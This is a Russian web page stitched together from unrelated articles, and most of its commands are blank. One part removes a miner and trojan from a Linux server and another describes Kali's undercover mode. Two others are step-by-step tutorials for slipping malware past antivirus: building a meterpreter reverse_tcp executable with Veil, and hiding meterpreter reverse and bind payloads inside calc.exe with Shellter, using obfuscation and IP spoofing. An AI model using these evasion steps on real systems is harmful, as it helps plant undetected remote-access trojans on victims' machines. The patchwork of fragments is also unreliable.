Как замаскировать saint от антивирус kali linux

Обновлено: 07.07.2024

Этичный хакинг и тестирование на проникновение, информационная безопасность

На днях довелось очищать сервер Linux от трояна и майнера. Сервер безголовый (только с консолью, без веб панелей или графических интерфейсов), антивирусы и анализаторы вредоносного трафика не установлены. Тем не менее, даже в таких условиях используя стандартные средства Linux можно довольно эффективно искать и деактивировать вредоносное ПО.

Чтобы было интереснее, методы будут опробованы на настоящем вредоносном ПО. На момент написания все ссылки на вредоносное ПО рабочие — можете попробовать себя в анализе, сборе информации о серверах злоумышленника и прочем. Конечно, я исхожу из того, что у вас хватит ума не запускать скаченные файлы двойным кликом и смотреть, что будет дальше. При поиске и деактивации вредоносного ПО (загрузчик, майнер, троян) на рабочем сервере было не до документирования, поэтому последующие скриншоты сделаны в тестовой системе, которую я специально заразил вирусом.

Как найти вирус на сервере Linux

Вредоносные программы, вирусы, трояны, майнеры имеют определённую цель. Для этой цели им необходимо выполнять те или иные действия — именно по этой активности и можно их найти. Кроме того, поскольку программы находятся в системе «нелегально», то им необходимо, во-первых, сохраниться после перезапуска компьютера; во-вторых, запуститься после перезапуска системы. Эти действия также могут выдать их.

В качестве активности вредоносного ПО можно выделить:

  • прослушивание портов или связь с удалёнными компьютерами (характерно для троянов)
  • повышенное потребление ресурсов компьютера (характерно для майнеров, программ для рассылки спама, компьютеров подключённых к ботнету)

Для закрепления в системе программа может:

  • копировать свои файлы и скачивать другое вредоносное ПО
  • добавлять задачи Cron
  • добавлять свои файлы в автозагрузку служб
  • модифицировать файлы профиля, автоматически выполняемые при входе пользователя в систему

Признаки взлома сервера Linux

Нагрузка на центральный процессор

Инструментарий:

Начинаем с анализа использования ЦПУ:


Некий процесс dbused создаёт слишком сильную нагрузку на систему.

Попробуем развернуть дерево процессов (клавиша «c»):


Никакой дополнительной информации по процессу dbused. Попробуем что-то узнать о нём с помощью ps:

Тоже мало толку.


Можно попытаться закрыть процесс, но он вновь сам запустится.

Нагрузка на постоянное хранилище

Инструментарий:

Посмотрим информацию об использовании диска процессами:

Следующая команда с интервалами в 20 секунд показывает все процессы, которые выполняли чтение и запись с диска:

На самом деле, на заражённом сервере найти источник проблемы мне помогла именно предыдущая команда, она в качестве процесса, который делал множество операций чтения/записи показала следующее:

Видимо, из-за недостатка прав (сервер был заражён с правами веб-службы), что-то для вредоносного ПО работало во внештатном режиме.

Открытые порты

Инструментарий:

Чтобы посмотреть установленные соединения (например, троян или часть бота подключились к управляющему компьютеру), выполните следующую команду:

Вывод в моём случае:

Обратите внимание на dbused — он подключён к 194.5.249.24:8080 — это и есть управляющий сервер или, в данном случае, компьютер отвечающий за координацию майнеров (пул). В качестве противодействия, можно заблокировать доступ к 194.5.249.24 с помощью iptables.

Вирус может быть настроен на прослушивания (открытие) порта. Открытые порты можно посмотреть командой:

Анализ открытых файлов

Инструментарий:

Посмотрим, какие есть открытые файлы, связанные с dbused:


Информации достаточно много, например, показаны IP адреса и порты с которыми связывается программа.

Чтобы показать только файлы в привычном смысле, то используйте команду следующего вида:


Как можно увидеть, файл найден, но он уже удалён. Вас не должен смущать тот факт, что исполнимый файл одновременно запущен (и использует ресурсы системы), но при этом является удалённым. В Linux не запрещено удалять используемый файл, он остаётся в кэше памяти и по-настоящему удаляется только когда будут закрыты все программы, используемые данный файл, либо когда процесс завершит свою работу, если это исполнимый файл.

Можно сделать вывод: файл копируется при каждом запуске системы, запускается, а затем удаляется (например, чтобы избежать обнаружения антивирусами). После перезагрузки компьютера всё повторяется вновь.

На самом деле, полученная информация не является бесполезной. Кроме сделанных выводов, что имеется механизм воссоздания вредоносного файла, можно сделать что-нибудь в этом роде:

В результате будет создан файл заглушка, который невозможно удалить и переписать. При следующем запуске ОС это может помешать вирусу нормально скопировать и запустить свою копию.

Для просмотра вообще всех открытых (настоящих) файлов, можно использовать следующую команду:

Для просмотра открытых файлов в определённой директории:

Возможно, вы сумеете обнаружить аномалии в системе.


Как узнать, какой процесс создаёт файл

Инструментарий:

Создадим правило для отслеживания изменений файла /usr/bin/dbused

Перезагрузим компьютер и после появления файла проверим, кто его создал и запустил:

Запущенные службы

Инструментарий:

Просмотр активных служб, запущенных с помощью Systemctl:

К автозагрузке с помощью Systemctl мы ещё вернёмся чуть ниже.

Поиск следов закрепления вредоносного ПО

Поиск недавно созданных файлов

Инструментарий:

Поиск файлов в указанной папке, которые были изменены менее 1 дня назад:


Чтобы найти все файлы, которые были изменены ровно 50 дней назад:

Чтобы найти все файлы, к которым был получен доступ ровно 50 дней назад:

Чтобы найти все файлы, которые были модифицированы более 50 дней назад и менее 100 дней назад:

Чтобы найти файлы, свойства которых (права доступа, владелец, группа) были изменены за последний час:

Чтобы найти файлы, которые были модифицированы за последний час:

Чтобы найти все файлы, доступ к которым был сделан за последний час:

Поиск служб в автозагрузке

Инструментарий:

Если вы хотите посмотреть только юниты, добавленные в автозагрузку, то используйте следующую конструкцию:


Посмотрите на две службы с именами:

На самом деле, вредоносное ПО может модифицировать файлы Systemctl и заменить собой любую службу или выбрать менее вызывающее название, но в данном случае очевидно, что это посторонние сервисы.

Можно посмотреть, что там внутри:


Говорит нам о том, что файл вируса спрятан в /bin/sysdr.

Поиск в директориях /etc/systemd/system/ и /usr/lib/systemd/system/ файлов созданных за последний день:

Знакомые нам файлы:

  • /etc/systemd/system/pwnrige.service
  • /usr/lib/systemd/system/pwnrigl.service

Поиск по содержимому файлов (по тексту)

Инструментарий:

Поиск строк sysdr или cp в директориях /etc/systemd/system/ и /usr/lib/systemd/system/:


Расписания задач Cron

Инструментарий:

Следующие две команды покажут содержимое задач Cron для всех пользователей:

Более гибкий вариант, не рассчитывает на имена пользователей:


Обратите внимание, как прочно укоренился вирус в системе:

Этот набор команд, который должен выполняться с периодичность 1 раз в минуту, прописан в следующих файлах:

Автоматически выполняемые скрипты

Инструментарий:

В Linux имеются скрипты, которые выполняются автоматически при входе пользователя в систему.

Некоторые из этих скриптов общие для всех пользователей, некоторые — у каждого пользователя свои:

Если вы не знаете, что именно нужно искать, то используйте следующую команду, которая выведет содержимое для всех файлов всех пользователей:


Посмотрите какая неприятность — в файле /root/.bash_profile найдена следующая строка:

Анализ таймеров

Инструментарий:

Вывод списка всех активных таймеров:

Анализ логов

Эта статья не совсем про Indicator of Compromise (IOC) и анализ атак, ставших причиной компрометации системы, поэтому не будем на этом сейчас останавливаться. Тем не менее, вас может заинтересовать:

Деактивация вируса в Linux

Попробуем собрать всё воедино и убрать службы из автозагрузки, удалить все исполнимые файлы и файлы автозапуска, сразу после этого перезагружаем компьютер, чтобы процесс вируса (если он ещё активен), не успел создать всё это заново:


Вместо успешного завершения блока команд и перезагрузки компьютера мы получили ошибку «Операция не позволена» для ряда файлов.

Причина в том, что с помощью атрибута файла «i» файлы заблокированы от удаления даже с помощью sudo. Подробности смотрите в статье «Атрибуты файлов в Linux». Чтобы разблокировать файлы, нужно использовать команду вида:

Получаем новую последовательность команд для деактивации вируса:

Если процесс вируса ещё активен, то в дополнение к команда очистки, можно завершить процесс вредоносного ПО с помощью kill.

Инструментарий:

Как вы могли обратить внимание, среди нашего инструментария только обычные утилиты Linux. Конечно, имеются системы предотвращения вторжений, Indicator of Compromise (IOC) (индикаторы компрометации), антивирусы, анализаторы вредоносного трафика и другой вредоносной активности. Но такие программы не всегда установлены и, на самом деле, не всегда требуются чтобы найти и даже устранить причину проблемы.

Ещё вы могли обратить внимание на скрипт, который скачивается планировщиком задач Cron — это загрузчик (Downloader), написан на Bash. Даунлоадеры — это небольшие программы, которые обычно сами не делают каких-либо деструктивных действий, но при этом загружают в операционную систему вирусы, трояны и другие вредоносные программы. В данном случае загрузчик скачивает и запускает троян ботнета и майнер. Сам загрузчик пытается закрепиться в системе и, более того, пытается заразить другие машины — ищет имена пользователей и ключи для входа в другие системы. В общем, скрипт весьма любопытный — в следующей части мы изучим его. Изучение захваченных скриптов, файлов, команд полезно не только для саморазвития — они также могут дать подсказки, каким ещё образом вирус мог попытаться закрепиться в системе.

Немногие дистрибутивы Linux имеют такое громкое имя в мире ИТ-безопасности, как Kali Linux. Хотя это современная система с рядом инструментов для тестирования на проникновение и криминалистического анализа - в конечном итоге только от нас зависит, для каких целей мы будем ее использовать.

Kali является последователем BackTrack Linux - за его развитием стоит наступательная безопасность. Вся продукция этой компании используется в целях безопасности, включая обучение и сертификацию. Ее клиентами являются такие организации, как IBM, Армия США, ВВС США, Amazon, JP Morgan и другие.

Этот дистрибутив работает на широком диапазоне HW (включая устройства ARM), но не предъявляет к нему слишком высоких требований. Основная цель этого Linux - не ежедневная надежная работа на загруженном сервере или рабочем столе. Предполагается скорее краткосрочный запуск live-версии с USB или другого носителя. Завершите задание, исчезните и не оставите следа - Кали в этом на вершине. Слоган также о многом говорит: «Чем тише ты становишься, тем больше слышишь». Практически все в этом дистрибутиве является секретным и эффективно использует инструменты проникновения или криминалистики.

Если вы новичок в Linux, вы ожидаете, что после установки сразу же появятся игры, офисные пакеты, графика и другие функции, которые Kali унаследует от своего родительского Debian, и возможно, выбрав что-то из другого дистрибутива.

Система также может быть размещена на зашифрованных дисках или дисках BTRFS, по умолчанию она предлагает инструменты виртуализации виртуальных машин - VMware, VirtualBox, Hyper-V и Vagrant, а также контейнерные технологии Docker и LXC / LXD. Она использует Digital Ocean для облачных решений. Список предлагаемых инструментов расширяется с каждой последующей редакцией Kali. Что касается версий, отметим еще «Роллинг релизную модель», которой разработчики решили следовать. Это логично, мы не ожидаем от этого Linux «знаменитой» стабильности Debian, а, наоборот - стабильности от последних версий инструментов. Они часто содержат ошибки, но также содержат новые полезные функции программ. Текущая версия дистрибутива - 2021.1 и содержит ядро 5.10.0.

Из других особенностей Kali Linux определенно стоит упомянуть следующие:

В дистрибутиве хорошо проработанная документация. Кроме того, вы можете бесплатно скачать книгу, описывающую основы работы с ней. Выше мы уже упоминали о возможности прохождения различных видов обучения или сертификации.

Kali Linux не является типичным «хакерским» дистрибутивом. Если мы хотим запустить, например, какой-то тест на проникновение, мы не готовим его на лотке после одного щелчка. Нам нужно уметь находить его хотя бы по назначению, а также уметь его использовать.

Множество пакетов из репозиториев Debian и сама система позволяют вам настраивать ее по своему вкусу, но стоит ли терять конфиденциальность вашей машины? В конце концов, это и есть цель Kali - быть самым тихим и универсальным «носителем» средств безопасности.

Не могу не думать, что Kali Linux напоминает мне авианосец будущего. Во время развертывания он практически незаметен и не только имеет огромный «оружейный» арсенал программ, но и идеально подходит для их проецирования куда-либо еще. Таким образом, он сохраняет - или приобретает - контроль над целыми областями ИТ-среды.

image

Дистрибутив GNU/Linux Kali Linux для проведения тестов на безопасность в своем последнем релизе 2019.4 получил новый режим – undercover mode. Он изменяет внешний вид Kali Linux и делает его похожим на Windows 10.

Таким образом, создается впечатление, что пользователь работает в обычной Windows. Разработка пояснила, что режим предназначен, к примеру, к работе в публичных местах.

Чтобы запустить undercover mode, нужно выполнить поиск в меню или следующую команду в терминале: kali-undercover. Скрипт сменит тему оформления рабочего стола на тему Windows 10. После выполнения команды терминал можно закрыть. Для выхода из режима команду нужно запустить повторно.

Кроме того, в релиз 2019.4 добавили переход из рабочего окружения Gnome в Xfce. Также Kali-Docs теперь основаны на разметке Markdown и расположены в публичном репозитории Git, Public Packaging (процесс отправки своих инструментов для добавления в Kali) задокументирован. BTRFS во время установки – тестирование файловой системы BTRFS в Kali. Опцию выбора файловой системы BTRFS в будущем планируется интегрировать в установщик.

Для работы со сценариями PowerShell в Kali Linux необходимо выполнить следующую команду установки: sudo apt install powershell.

image

image

Чтобы получить Kali Linux с телефона, нужно подключить Android-устройство к выходу HDMI вместе с клавиатурой и мышью Bluetooth.

Наконец, версия 2019.4 является последней, где минимально требуется 8 ГБ для SD-карт. Со следующей версии минимальным требованием для ARM устройств станет SD-карта объемом 16 ГБ.

обход антивируса

Veil это удивительный инструмент, разработанный Крисом Транкером @ChrisTruncer, Майком Райтом @TheMightyShiv и Grayhound'ом @the_grayhound, специально для Кали Linux с целью:

  • Обходить антивирусную защиту
  • Получать полезные данные в рамках Metasploit
  • Создание функциональной части вируса т. н. payload

Хочется поговорить о Veil и привести несколько примеров о том, как обойти несколько антивирусных программ. Основные изменения в последних версиях Veil:

  • совместимость x64 — Обновлен скрипт установки для того, чтобы Veil был совместим с x86 и x64 платформами.
  • Функция обновления - Теперь Veil имеет функцию обновления. Теперь мы можем обновить Veil либо из командной строки или из меню.

Чтобы установить Veil в любой среде, вы можете использовать следующие команды:

Чтобы установить Veil в Kali, выполняем следующие команды:

apt-get install veil

После того как Veil будет установлен запускаем его из командной строки:

Далее на экране мы увидим что-то вроде этого, загружено 18 payload'ов:

вводим use в коммандную строку

Veil1

Теперь Veil предлагает нам выбрать тело вируса с которым хотим работать. В этом случае я выбрал python/b64VirtualAlloc набрав "18"

Veil2

Когда загрузка тела вируса закончиться, введите команду — generate. На данном этапе можно задать кучу специфических параметров, но в рамках этой статьи будем использовать значения по-умолчанию.

Veil3

Далее необходимо выбрать шеллкод, который будет использоваться, мы выбираем msfvenom набрав 1

Veil4

Далее указываем некоторые детали:

veil5

Enter metasploit payload: “windows/meterpreter/reverse_tcp“

Enter value for ‘LHOST’, [tab] for local IP: “192.168.69.69″

Enter value for ‘LPORT’: “443“

Ждем немного пока шеллкод сгенерируется

После этого Veil потребует ввести имя для итогового файла, я назвал его undetectable

Veil6

На следующем этапе выбираем Pyinstaller — 1

Veil7

После этого мы получим готовый исполняемый .exe файл в папке /root/Veil-master/output/compiled/

Veil8

Теперь, у нас есть исполняемый файл и нам надо проверить его через vscan.novirusthanks.org. Пожалуйста, не забудьте при проверке установить галочку "Do not distribute the sample".

Veil10

Veil11

Все выше перечисленные операции по созданию файла, можно проделать через командную строку, не используя меню.

Большая проблема многих взломов и пентестов в том, что «заряженные» исполняемые файлы, созданные с помощью Metasploit или других пентест-фреймворков, палятся практически всеми антивирусными вендорами. И поэтому вместо того, чтобы продолжать проникновение, пентестеру приходится думать, как обмануть антивирус. Проделывая эту работу от кейса к кейсу, очень много времени теряешь впустую. Поэтому постепенно начали появляться инструменты, автоматизирующие эту задачу. Сегодня мы познакомимся с одним из таких инструментов по имени Shellter.

shelter обходи антивирусов

Знакомство с SHELLTER

Для начала немного информации с официального сайта проекта. Значит, так, Shellter — это инструмент для динамического внедрения шелл-кода, да и вообще первый инструмент для динамического внедрения кода в PE-файлы (но стоит сразу отметить, что DLL-файлы не поддерживаются). Применяется для встраивания шелл-кода в нативные Windows-приложения (пока поддерживаются только 32-битные). В качестве полезной нагрузки могут выступать собственные шелл-коды или же сгенерированные с помощью какого-либо фреймворка, например Metasploit.

Основные функции SHELTER

Преимущество Shellter в том, что в своей работе он опирается только на структуру PE-файла и не применяет никаких «грязных» приемов, таких как добавление новых секций с RWE-правами, модификация прав доступа к существующим секциям и прочие вещи, которые сразу же вызывают подозрение у любого антивируса. Вместо этого Shellter использует уникальный динамический подход, основанный на потоке выполнения целевого (заражаемого) приложения.

На основе своей встроенной эвристики, движка отладчика, в динамике запускающего хост-файл и трейсящего указанное количество инструкций, Shellter находит подходящее место для безопасного размещения шелл-кода в PE-файле. Обязательные изменения в структуре PE-файла минимальны — удаляются флажки в DllCharacteristics (предотвращение релоцирования), очищаются данные о цифровой подписи.

В процессе работы Shellter трейсит только поток выполнения, происходящий в userland, то есть код внутри самого заражаемого приложения, а также «внешний» код, расположенный в системных библиотеках, в куче и так далее. Это делается для того, чтобы не пропустить функции целевого приложения, использующиеся только в качестве колбэков для Windows API. В процессе трассировки Shellter не учитывает и не логирует инструкции, находящиеся за границами памяти целевого приложения, так как на них нельзя будет сослаться при инжектировании шелл-кода.

ПОДБОР ЦЕЛЕВОГО ПРИЛОЖЕНИЯ

Немного познакомившись с принципами работы Shellter, коснемся теперь важного вопроса, как выбрать правильную цель для внедрения своего шелл-кода. Прежде всего, как уже было отмечено, приложение должно быть нативным и 32-разрядным. Еще одно условие — приложение не должно быть статически связано ни с какими сторонними библиотеками, кроме тех, что по умолчанию включены в Windows.

Так как главная задача данного инструмента — обход антивирусных решений, следует избегать также запакованных приложений, приложений, имеющих секции с RWE-правами или более одной секции кода: они изначально будут выглядеть подозрительно для антивируса.

Еще одна причина, почему следует избегать упакованных exe-шников, — это то, что большинство нормальных пакеров перед распаковкой проверят файл на наличие модификаций и, соответственно, после внедрения шелл-кода просто откажутся запуститься. К тому же практически все они напичканы антиотладочными приемами и быстро обнаружат, что Shellter пытается их оттрассировать (на данный момент Shellter умеет бороться только с PEB.IsBeingDebugged, PEB.NtGlobalFlag). Поэтому упаковывать приложение лучше всего уже после внедрения в него шелл-кода. А самый идеальный вариант — выбрать приложение, которое для антивируса выглядело бы как легитимное.

ЗАПУТЫВАЕМ СЛЕДЫ

Теперь немного о том, какие же способы применяются для одурачивания антивирусов. Два основных способа — это использование junk-кода и шифрованных/саморасшифровывающихся пейлоадов. Shellter имеет встроенный полиморфный движок, который генерирует мусорный код указанного пользователем в байтах размера. Мертвый код исполняется после точки входа в шеллкод Shellter вплоть до исполнения полезной нагрузки или ее дешифровки. Мусорный код представляет собой последовательность холостых циклов (loopd), использование реальных данных программы (чтение/запись), вхождение в пустые процедуры, код которых ищется гаджетами в оригинальной кодовой секции программы хоста шелл-кода.

обман антивируса

Шифрование полезной нагрузки Shellter позволяет проводить семью методами на основе использования Windows API (для создания саморасшифровывающегося кода без изменений в характеристиках секций исполняемого кода PE-файла):

1. VirtualAlloc.
2. VirtualAllocEx.
3. VirtualProtect.
4. VirtualProtectEx.
5. HeapCreate/HeapAlloc.
6. LoadLibrary/GetProcAddress.
7. CreateFileMapping/MapViewOfFile.

Так как утилита стремится к как можно меньшему изменению структуры заголовка PE-файла, то она предполагает использовать только имеющийся у файла импорт. Если в файле не будет ни одного из вышеперечисленных наборов API в таблице импорта, то Shellter предложит пользователю либо отказаться от шифрования полезной нагрузки, либо принудительно изменить характеристики секции PE-файла. Как ты понимаешь, без шифрования полезной нагрузки Shellter будет в большинстве случаев бесполезен (в плане обхода аверов).

Shellter

Начиная с четвертой версии, Shellter предоставляет свой собственный динамический шифровальщик. С его помощью можно обфусцировать процедуру дешифровки полезной нагрузки, вставляя при каждой генерации шелл-кода случайное количество XOR, AND, SUB, NOT операций (для этого используется ключ командной строки —polydecoder). Вызовы API-функций, используемые для переноса шелл-кода в память с доступом на запись, также могут быть обфусцированы.

скрываем полезную нагрузку от антивируса

Точка входа шелл-кода Shellter, без обфускации и полиморфизма + использование саморасшифровки полезной нагрузки (VirtualAlloc)

При работе в режиме Auto Shellter будет по умолчанию применять свой кодировщик для обфускации декодера полезной нагрузки. Эта фича может применяться как с незашифрованными пейлоадами, так и с зашифрованными, в качестве дополнительного уровня шифрования.

DYNAMIC THREAD CONTEXT KEYS

Довольно интересная фишка, которая появилась в четвертой версии, называется Dynamic Thread Context Keys. Она позволяет использовать динамическую информацию из контекста потока целевого приложения в качестве ключей шифрования. Принцип работы прост: во время трассировки логируются значения определенных регистров CPU, после чего отфильтровываются значения для потенциальных мест внедрения пейлоада, в которых по крайней мере один из регистров хранит значение, пригодное для шифрования/расшифровки во время исполнения программы. Пока это экспериментальная возможность, которая позволяет избавиться от необходимости хардкодить ключ для расшифровки. В режиме Auto она может быть включена только с помощью ключа —DTCK.

ПАРА СЛОВ О ПЕЙЛОАДАХ

Теперь немного о полезных нагрузках. В Shellter уже встроено несколько наиболее распространенных пейлоадов, поэтому в большинстве случаев их больше не потребуется генерировать вручную через Metasploit. Этот список включает в себя:

Все это адаптированные пейлоады из Metasploit, поэтому они очень хорошо известны всем антивирусам. В связи с чем настоятельно рекомендуется включить шифрование полезных нагрузок с помощью опции —encode. В случае использования режима Auto без каких-либо аргументов Shellter применит свое собственное шифрование для сокрытия полезной нагрузки. Задействовать определенный пейлоад можно из командной строки, например так:

STEАLTH-РЕЖИМ

Важно: при использовании Stealth-режима с кастомным пейлоадом (то есть не встроенным в Shellter) надо будет установить exit-функцию в значение THREAD. В противном случае, если сессия умрет или ты захочешь ее закрыть, упадет все приложение. Плюс к этому все reverse connection пейлоады из Metasploit делают ограниченное число попыток соединиться с удаленным хостом, исчерпав которые убивают процесс. Чтобы этого не произошло, Shellter использует слегка
измененные версии пейлоадов из Metasploit. Поэтому, когда тебе понадобится reverse connect, лучше воспользоваться встроенными в Shellter образцами.

РАЗБИРАЕМ НА ПРИМЕРАХ

На самом деле есть еще много интересных моментов, изложенных в официальной документации, но в рамках данной статьи они для нас не очень существенны. Как говорится, лучше один раз увидеть, чем сто раз услышать. Именно поэтому перейдем от слов к делу и проверим инструмент в реальных условиях. Начнем с установки. Все, что требуется пользователям Windows, — скачать и распаковать архив.

Как уже упоминалось, Shellter можно использовать и в Linux/Mac. Можно скачать упомянутый архив и запустить инструмент через Wine/CrossOver. Хотя пользователи некоторых дистрибутивов Linux могут установить Shellter и с помощью менеджера пакетов. Например, в Kali установка не отличается от установки прочего софта:

CALC.EXE, НАСТАЛО ТВОЕ ВРЕМЯ

Далее для экспериментов нам понадобятся две виртуальные машины, объединенные в сеть: одна с Windows (в данном случае будет использоваться XP, так как она уже установлена и настроена), где мы будем «заражать» приложение, вторая с Kali Linux — для того, чтобы взаимодействовать с reverse connection пейлоадами. Остается только определиться с пациентом, которого будем заражать. Каким критериям он должен удовлетворять, мы уже обсудили. Поэтому повторяться не будем, а для опытов выберем многострадальный калькулятор.

WINEXEC

Начнем с самого простого — попытаемся внедрить в калькулятор WinExec пейлоад, который будет запускать… блокнот. Для этого скопируем калькулятор в папку с Shellter (чисто ради удобства работы) и запустим последний. Нам сразу же будет предложено выбрать режим работы: автоматический (Auto) или ручной (Manual). Чтобы познакомиться со всеми опциями, выберем ручной (m) и укажем в качестве таргета calc.exe. После чего Shellter создаст резервную копию оригинального файла (calc.exe.bak) и начнет собирать информацию о нем и проводить необходимые изменения.

Прежде всего он проверит, не упакован ли исполняемый файл (почему следует избегать внедрения шелл-кода в упакованные файлы, мы говорили выше). Потом немного поработает над самим файлом, а конкретно над его DllCharacteristics и цифровой подписью. Затем спросит, стоит ли собирать Dinamic Thread Context Info. В дальнейшем мы будем использовать эту информацию в качестве ключа для дешифровки пейлоада, чтобы не хранить его в явном виде (помнишь Dinamic Thread Context Keys?). Поэтому отвечаем утвердительно. Количество инструкций задаем произвольно. Для примера установим равным 15 000. Чтобы не наколоться и не внедрить шелл-код в место, где живет самомодифицирующийся код, включаем проверку на его наличие
во время трассировки. Чтобы сэкономить время, останавливать трассировку при его обнаружении не будем, о чем и сообщим инструменту на следующем шаге. Real-Time Tracing покажет процесс прохождения программы в реальном времени, но никакой важной информации для нас это не несет, так что включать не будем.

Далее Shellter применит свои немногочисленные (пока) средства по борьбе с антиотладочными приемами и начнет выполнять трассировку калькулятора. По истечении которой задаст важный вопрос: стоит ли включать Stealth Mode? В принципе, даже если мы не планируем внедрять в файл несколько пейлоадов, данная опция не помешает, так что включим. После этого нам предложат выбрать между встроенными и кастомными пейлоадами (о них поговорим далее). Выбираем встроенные и в предоставленном списке останавливаем свой выбор на кандидате номер семь — WinExec. В качестве аргумента указываем ему notepad.exe.

Shellter

Включаем Stealth Mode и внедряем Meterpreter_ Reverse_TCP в калькулятор

И вот тут-то нас спросят, стоит ли зашифровывать пейлоад с помощью DTCK (Dinamic Thread Context Keys). Давай попробуем, плюс на следующем шаге согласимся еще и на обфускацию декодера. Shellter поищет в таблице импорта подходящие API для этой задачи, в нашем случае найдет только LoadLibrary/GetProcAddress связку (идет под номером 5). Затем обфусцируем IAT Handler и добавляем полиморфный код (встроенный, размер устанавливаем в 200 байт). После этого можно будет посмотреть и выбрать конкретную точку для внедрения шелл-кода. В данном случае доступен диапазон от 0 до 560 (для внедрения была выбрана первая). Это последний вопрос на выбор, далее Shellter проинжектит шелл-код и пересчитает контрольную сумму файла.
В общем, весь процесс чем-то напоминает установку программы: Next, Next, Next, и все готово. Остается только запустить полученный файл. Как и было задумано, помимо калькулятора, появилось еще и окно блокнота.

пейлоад Shellter

Внедрение кастомного пейлоада

CUSTOM PAYLOAD

Теперь немного отвлечемся и посмотрим, что делать, если вдруг встроенных в Shellter пейлоадов не хватает для решения какой-либо задачи. Если помнишь, мы говорили, что утилита позволяет использовать кастомные пейлоады, сгенерированные юзером. Поэтому идем, открываем Metasploit и выбираем подходящий нам по функциональности вариант:

Допустим, нас интересует windows/meterpreter/bind_hidden_ipknock_tcp:

обход антивируса

Прежде всего обращаем внимание на параметр EXITFUNC, выше уже говори-
лось, что его значение должно быть thread.

И настраиваем остальные параметры под себя:

Теперь смотрим параметры генерации пайлоада:

msf payload(bind_hidden_ipknock_tcp) > generate -h

И генерируем пейлоад:


После чего файл с именем custom_payload должен появиться в домашней директории. Переносим его на машину с Shellter.

STEALTH MODE

Теперь займемся Stealth-технологией и попытаемся внедрить в калькулятор сразу несколько пейлоадов. Первый будем использовать встроенный, а второй — лично сгенерированный. Запускаем Shellter в автоматическом режиме (чтобы побыстрей), указываем как цель calc.exe и ждем, когда нам предложат включить Stealth Mode. Включаем и выбираем в качестве полезной нагрузки Meterpreter_Reverse_TCP. Устанавливаем LHOST = 192.168.0.55 (адрес Kali-машины), LPORT = 4444. На этом все, далее инструмент делает все самостоятельно и сообщает об успешном внедрении. Отлично, давай проверим работоспособность. Идем в Kali и открываем Metasploit:


Shellter

А затем на соседней виртуальной машине запускаем зараженный калькулятор. И получаем:

Все замечательно работает. Теперь попытаемся запихнуть в calc.exe еще одну полезную нагрузку, которую сгенерировали на предыдущем шаге. Опять запускаем Shellter в автоматическом режиме и доходим до шага выбора пейлоада, только на этот раз указываем, что будем использовать кастомный.

На вопрос, является ли нагрузка reflective dll loader, отвечаем отрицательно и ждем, когда Shellter доделает свое дело. Теперь у нас в калькуляторе должно прятаться две нагрузки:

Проверим, так ли это. Заходим в Metasploit и повторяем указанные выше действия. Ничего удивительного, reverse_tcp отработала, как положено. А вот второй пейлоад более интересный, чтобы подключиться к нему, надо сначала постучать в порт 5555 Windows-машины с адреса 8.8.8.8. Иначе подключиться не получится. Сделать это можно, проспуфив IP-адрес с помощью
утилиты hping3:

Подождать немного и попытаться подключиться. Сначала отправляем активную сессию (ту, которая reverse_tcp) meterpreter в бэкграунд:


Выбираем другой пейлоад — meterpreter/bind_tcp — и выставляем опции:

обман антивируса при помощи Shellter

Два пейлоада в calc.exe дают нам две meterpreter-сессии

И получаем еще одну meterpreter-сессию. Как видишь, несколько пейлоадов в одном файле прекрасно уживаются. Вот и замечательно.

скрываем от антивируса с помощью Shellter

Калькулятор с двумя внедренными пейлоадами ни у кого не вызывает подозрений

ЗАКЛЮЧЕНИЕ

Первое знакомство с Shellter закончилось. За рамками нашего обзора осталось еще достаточно интересной информации, касающейся работы инструмента. С ней ты сможешь познакомиться самостоятельно, покурив этот мануал. Но все основные и интересные моменты мы рассмотрели, так что у тебя теперь достаточно информации для полноценного использования этой тулзы.

А в качестве домашнего задания можешь самостоятельно проверить, как «хорошо» детектируют антивирусы полученные после внедрения полезной нагрузки файлы.

Читайте также: